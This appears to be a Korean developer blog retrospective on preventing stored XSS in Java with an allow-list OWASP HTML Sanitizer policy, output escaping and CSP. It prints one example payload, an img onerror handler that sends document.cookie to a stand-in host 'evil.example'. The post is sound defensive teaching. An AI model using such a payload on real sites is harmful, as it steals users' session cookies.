← 프로젝트 회고 · Java
RETROSPECTIVE · 회고

저장형 XSS 대응: 허용 목록 기반 HTML Sanitizer 적용하기

Java

게시판처럼 사용자가 HTML을 입력할 수 있는 기능은 저장형(Stored) XSS의 단골 대상이다. 공격 스크립트가 DB에 저장되면, 그 글을 여는 모든 사용자의 브라우저에서 실행된다.

<img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)">

차단 목록 방식이 실패하는 이유

<script>를 지우거나 onerror를 치환하는 식의 차단 목록은 대소문자, 인코딩, 새 속성 같은 우회 방법을 따라잡을 수 없다. 기본값을 "전부 차단"으로 두고 필요한 태그·속성만 허용하는 허용 목록 방식이 원칙이다.

OWASP Java HTML Sanitizer로 정책 정의하기

PolicyFactory POLICY = new HtmlPolicyBuilder()
.allowElements("p", "br", "strong", "em", "u", "s",
"ul", "ol", "li", "blockquote", "a", "img")
.allowUrlProtocols("https")
.allowAttributes("href").onElements("a")
.requireRelNofollowOnLinks()
.allowAttributes("src", "alt").onElements("img")
.toFactory();

String safeHtml = POLICY.sanitize(untrustedHtml);
  1. 허용하지 않은 태그와 속성(onerror, style 등)은 모두 제거된다.
  2. javascript: 같은 URL은 프로토콜 제한으로 걸러진다.
  3. 기본 제공 정책을 조합할 수도 있다: Sanitizers.FORMATTING.and(Sanitizers.LINKS)

jsoup의 Safelist도 같은 허용 목록 방식이다. 중요한 건 라이브러리보다, 정책을 한곳에서 코드로 관리하고 모든 입력 경로가 그 정책을 거치게 만드는 것이다.

저장할 때 거를까, 출력할 때 거를까

  1. HTML을 허용하는 필드: 저장 전에 sanitize해서 DB에 안전한 HTML만 남긴다.
  2. HTML이 필요 없는 필드(이름, 제목 등): 출력할 때 이스케이프한다. JSP라면 <c:out>, fn:escapeXml.
  3. 추가로 CSP(Content-Security-Policy) 헤더를 두면 필터를 우회당하더라도 인라인 스크립트 실행을 한 번 더 막을 수 있다.

한 가지 방어에 의존하지 말고 입력 정제, 출력 이스케이프, CSP를 겹겹이 두는 게 안전하다.

Gunmo Lee
저장형 XSS 대응: 허용 목록 기반 HTML Sanitizer 적용하기 | Gunmo's Dev Life